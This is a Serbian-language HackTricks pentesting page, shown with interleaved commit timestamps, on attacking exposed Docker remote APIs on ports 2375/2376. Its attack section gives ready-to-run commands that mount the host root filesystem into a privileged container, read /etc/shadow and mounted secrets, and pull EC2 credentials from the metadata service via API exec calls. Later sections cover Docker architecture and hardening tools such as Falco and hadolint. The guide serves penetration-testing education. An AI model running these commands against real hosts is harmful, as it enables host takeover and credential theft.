hacktricks/network-services-pentesting/2375-pentesting-docker.md

367 lines
24 KiB
Markdown
Raw Normal View History

# 2375, 2376 Testiranje Docker-a
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-02-03 01:15:34 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
***
### Osnove Docker-a
2020-12-31 10:32:10 +00:00
#### Šta je
2020-12-31 10:32:10 +00:00
Docker je **vodeća platforma** u industriji **kontejnerizacije**, predvodeći **kontinuiranu inovaciju**. Omogućava jednostavno kreiranje i distribuciju aplikacija, obuhvatajući **tradicionalne do futurističke**, i obezbeđuje njihovo **sigurno implementiranje** u različitim okruženjima.
2020-12-31 16:40:45 +00:00
#### Osnovna arhitektura Docker-a
2020-12-31 16:40:45 +00:00
* [**containerd**](http://containerd.io): Ovo je **osnovno izvršno okruženje** za kontejnere, zaduženo za sveobuhvatno **upravljanje životnim ciklusom kontejnera**. To uključuje rukovanje **transferom i skladištenjem slika**, kao i nadgledanje **izvršavanja, praćenja i umrežavanja** kontejnera. **Detaljnije uvide** o containerd-u **dalje istražujemo**.
* **Container-shim** igra ključnu ulogu kao **posrednik** u rukovanju **glavoboljnim kontejnerima**, besprekorno preuzimajući od **runc**-a nakon što su kontejneri inicijalizovani.
* [**runc**](http://runc.io): Poštovan zbog svojih mogućnosti **laganog i univerzalnog izvršnog okruženja kontejnera**, runc je usklađen sa **OCI standardom**. Koristi ga containerd za **pokretanje i upravljanje kontejnerima** prema **OCI smernicama**, evoluirajući iz originalnog **libcontainer**-a.
* [**grpc**](http://www.grpc.io) je ključan za **olakšavanje komunikacije** između containerd-a i **docker-engine**, osiguravajući **efikasnu interakciju**.
* [**OCI**](https://www.opencontainers.org) je ključan za održavanje **OCI specifikacija** za izvršno okruženje i slike, pri čemu su najnovije verzije Docker-a **usaglašene sa OCI standardima za sliku i izvršno okruženje**.
2020-12-31 10:32:10 +00:00
#### Osnovne komande
2020-12-31 10:32:10 +00:00
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
2021-01-03 12:04:12 +00:00
docker save -o ubuntu.tar <image> #Export an image
2020-12-31 10:32:10 +00:00
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
#### Containerd
2020-12-31 10:32:10 +00:00
**Containerd** je posebno razvijen da zadovolji potrebe platformi za kontejnere poput **Docker-a i Kubernetes-a**, među ostalima. Cilj mu je **simplifikacija izvršavanja kontejnera** na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo osnovne funkcije potrebne njegovim korisnicima, teži da izostavi nepotrebne komponente. Međutim, postizanje ovog cilja u potpunosti se smatra izazovnim.
2020-12-31 10:32:10 +00:00
Ključna dizajnerska odluka je da **Containerd ne upravlja mrežom**. Mreženje se smatra ključnim elementom u distribuiranim sistemima, sa kompleksnostima poput definisanja mreže softverom (SDN) i otkrivanja servisa koje se značajno razlikuju od jedne platforme do druge. Stoga, Containerd ostavlja upravljanje mrežom da ga upravljaju platforme koje podržava.
2020-12-31 10:32:10 +00:00
Iako **Docker koristi Containerd** za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup funkcionalnosti Docker-a. Konkretno, Containerd nema mogućnosti upravljanja mrežom prisutne u Docker-u i ne podržava direktno kreiranje Docker rojeva. Ova razlika ističe fokusiranu ulogu Containerd-a kao okruženja za izvršavanje kontejnera, prepuštajući specijalizovanije funkcionalnosti platformama sa kojima se integriše.
2020-12-31 10:32:10 +00:00
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
2024-02-10 13:11:20 +00:00
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
2020-12-31 10:32:10 +00:00
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
#### Podman
2020-12-31 15:36:23 +00:00
**Podman** je open-source kontejnerski motor koji se pridržava [Open Container Initiative (OCI) standarda](https://github.com/opencontainers), razvijen i održavan od strane Red Hata. Ističe se od Docker-a nekoliko različitih karakteristika, posebno svojom **arhitekturom bez demona** i podrškom za **rootless kontejnere**, omogućavajući korisnicima da pokreću kontejnere bez privilegija root korisnika.
2020-12-31 15:36:23 +00:00
Podman je dizajniran da bude kompatibilan sa Docker-ovim API-jem, omogućavajući korišćenje Docker CLI komandi. Ova kompatibilnost se proširuje na njegov ekosistem, koji uključuje alate poput **Buildah** za izgradnju kontejnerskih slika i **Skopeo** za operacije sa slikama poput push, pull i inspect. Više detalja o ovim alatima možete pronaći na njihovoj [GitHub stranici](https://github.com/containers/buildah/tree/master/docs/containertools).
2020-12-31 15:36:23 +00:00
**Ključne Razlike**
2020-12-31 15:36:23 +00:00
* **Arhitektura**: Za razliku od Docker-ovog modela klijent-server sa pozadinskim demonom, Podman funkcioniše bez demona. Ovaj dizajn znači da kontejneri pokreću sa privilegijama korisnika koji ih pokreće, poboljšavajući sigurnost eliminacijom potrebe za pristupom root korisnika.
* **Systemd Integracija**: Podman se integriše sa **systemd**-om za upravljanje kontejnerima, omogućavajući upravljanje kontejnerima putem systemd jedinica. Ovo se razlikuje od Docker-a koji koristi systemd uglavnom za upravljanje Docker demon procesom.
* **Rootless Kontejneri**: Ključna karakteristika Podman-a je njegova sposobnost pokretanja kontejnera pod privilegijama korisnika koji ih pokreće. Ovaj pristup minimizira rizike povezane sa probijanjem kontejnera osiguravajući da napadači dobiju samo privilegije kompromitovanog korisnika, a ne pristup root korisniku.
2020-12-31 15:36:23 +00:00
Pristup Podman-a nudi sigurnu i fleksibilnu alternativu Docker-u, naglašavajući upravljanje privilegijama korisnika i kompatibilnost sa postojećim Docker radnim tokovima.
2020-12-31 15:36:23 +00:00
2024-02-10 13:11:20 +00:00
{% hint style="info" %}
Imajte na umu da kako podman ima za cilj podržati isti API kao docker, možete koristiti iste komande sa podman-om kao sa docker-om kao što su:
2020-12-31 15:36:23 +00:00
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
### Osnovne informacije
2020-12-15 09:18:43 +00:00
Udaljeni API se podrazumevano pokreće na portu 2375 kada je omogućen. Usluga podrazumevano ne zahteva autentifikaciju, što omogućava napadaču da pokrene privilegovan Docker kontejner. Korišćenjem udaljenog API-ja moguće je povezati hostove / (korenski direktorijum) sa kontejnerom i čitati/pisati fajlove u okruženju hosta.
2020-12-15 09:18:43 +00:00
2024-02-10 13:11:20 +00:00
**Podrazumevani port:** 2375
```
2020-12-15 09:18:43 +00:00
PORT STATE SERVICE
2375/tcp open docker
```
### Enumeracija
2020-12-15 09:18:43 +00:00
#### Ručno
2020-12-31 16:14:52 +00:00
Imajte na umu da za enumeraciju docker API-ja možete koristiti `docker` komandu ili `curl` kao u sledećem primeru:
2020-12-31 16:14:52 +00:00
```bash
#Using curl
2020-12-31 16:14:52 +00:00
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
2024-02-10 13:11:20 +00:00
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
2024-02-10 13:11:20 +00:00
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
2020-12-31 16:14:52 +00:00
```
Ako možete **kontaktirati udaljeni docker API pomoću `docker` komande** možete **izvršiti** bilo koju od **docker** [**prethodno komentarisanih komandi**](2375-pentesting-docker.md#basic-commands) kako biste komunicirali sa servisom.
2020-12-31 16:14:52 +00:00
{% hint style="info" %}
Možete `export DOCKER_HOST="tcp://localhost:2375"` i **izbeći** korišćenje `-H` parametra sa docker komandom
{% endhint %}
**Brzo eskaliranje privilegija**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
2020-12-31 16:14:52 +00:00
Ponekad ćete videti **2376** otvoren za **TLS** krajnju tačku. Nisam uspeo da se povežem sa njom pomoću docker klijenta, ali je moguće to uraditi sa curl-om.
2020-12-31 16:14:52 +00:00
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
Ako želite više informacija o ovome, više informacija je dostupno tamo odakle sam kopirao komande: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
2020-12-31 16:14:52 +00:00
#### Automatski
2020-12-15 09:18:43 +00:00
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
### Kompromitovanje
2020-12-15 09:18:43 +00:00
Na sledećoj stranici možete pronaći načine za **izlazak iz docker kontejnera**:
2020-12-31 15:47:59 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
2020-12-31 15:47:59 +00:00
Zloupotrebom ovoga je moguće izaći iz kontejnera, pokrenuti slab kontejner na udaljenoj mašini, izaći iz njega i kompromitovati mašinu:
2020-12-15 09:18:43 +00:00
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
### Eskalacija privilegija
2020-12-31 16:16:16 +00:00
Ako se nalazite unutar hosta koji koristi Docker, možete [**pročitati ove informacije kako biste pokušali da povećate privilegije**](../linux-hardening/privilege-escalation/#writable-docker-socket).
2021-04-28 23:33:12 +00:00
### Otkrivanje tajni u pokrenutim Docker kontejnerima
2021-04-28 23:33:12 +00:00
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
Proverite **env** (sekciju sa okruženjskim promenljivama) za tajne informacije i možda pronađete:
2021-04-28 23:33:12 +00:00
2024-02-10 13:11:20 +00:00
* Lozinke.
* IP adrese.
* Portove.
* Putanje.
* Ostalo... .
2021-04-28 23:33:12 +00:00
2024-02-10 13:11:20 +00:00
Ako želite da izvučete fajl:
2021-04-28 23:33:12 +00:00
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
### Osiguravanje vašeg Dockera
2021-04-28 23:33:12 +00:00
#### Osiguravanje instalacije i korišćenja Dockera
2021-01-04 12:13:07 +00:00
* Možete koristiti alat [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) da pregledate vašu trenutnu docker instalaciju.
2024-02-10 13:11:20 +00:00
* `./docker-bench-security.sh`
* Možete koristiti alat [https://github.com/kost/dockscan](https://github.com/kost/dockscan) da pregledate vašu trenutnu docker instalaciju.
2024-02-10 13:11:20 +00:00
* `dockscan -v unix:///var/run/docker.sock`
* Možete koristiti alat [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) da vidite privilegije koje će kontejner imati kada se pokrene sa različitim sigurnosnim opcijama. Ovo je korisno kako biste znali posledice korišćenja određenih sigurnosnih opcija za pokretanje kontejnera:
2024-02-10 13:11:20 +00:00
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
2021-01-04 12:13:07 +00:00
#### Osiguravanje Docker slika
2021-01-04 12:13:07 +00:00
* Možete koristiti docker sliku [https://github.com/quay/clair](https://github.com/quay/clair) da skenira vaše druge docker slike i pronađe ranjivosti.
2024-02-10 13:11:20 +00:00
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
2021-01-04 12:13:07 +00:00
#### Osiguravanje Dockerfile-ova
2021-01-04 12:13:07 +00:00
* Možete koristiti alat [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) da **pregledate vaš Dockerfile** i pronađete sve vrste netačnih konfiguracija. Svaka netačna konfiguracija će dobiti ID, možete pronaći ovde [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) kako da ispravite svaku od njih.
2024-02-10 13:11:20 +00:00
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (176).png>)
* Možete koristiti alat [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) da **pregledate vaš Dockerfile** i pronađete sve vrste netačnih konfiguracija.
2024-02-10 13:11:20 +00:00
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (212).png>)
* Možete koristiti alat [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) da **pregledate vaš Dockerfile** i pronađete sve vrste netačnih konfiguracija.
2024-02-10 13:11:20 +00:00
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (71).png>)
* Možete koristiti alat [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) da **pregledate vaš Dockerfile** i pronađete sve vrste netačnih konfiguracija.
2024-02-10 13:11:20 +00:00
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (501).png>)
#### Logovanje sumnjive aktivnosti
2021-01-04 12:13:07 +00:00
* Možete koristiti alat [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) da otkrijete **sumnjivo ponašanje u pokrenutim kontejnerima**.
* Obratite pažnju u sledećem odeljku kako **Falco kompajlira jezgro modula i ubacuje ga**. Nakon toga, učitava pravila i **počinje da loguje sumnjive aktivnosti**. U ovom slučaju je otkriveno da su pokrenuta 2 privilegovana kontejnera, od kojih je jedan imao osetljiv mount, i nakon nekoliko sekundi je otkriveno kako je shell otvoren unutar jednog od kontejnera.
2024-02-08 21:36:35 +00:00
```bash
2021-01-04 12:13:07 +00:00
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
2024-02-10 13:11:20 +00:00
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
2021-01-04 12:13:07 +00:00
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
#### Praćenje Docker-a
2021-01-04 12:13:07 +00:00
Možete koristiti auditd da biste pratili Docker.
2022-04-28 16:01:33 +00:00
### Reference
2024-02-04 16:10:29 +00:00
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
2024-02-05 20:00:40 +00:00
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
2024-02-04 16:10:29 +00:00
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-02-03 01:15:34 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>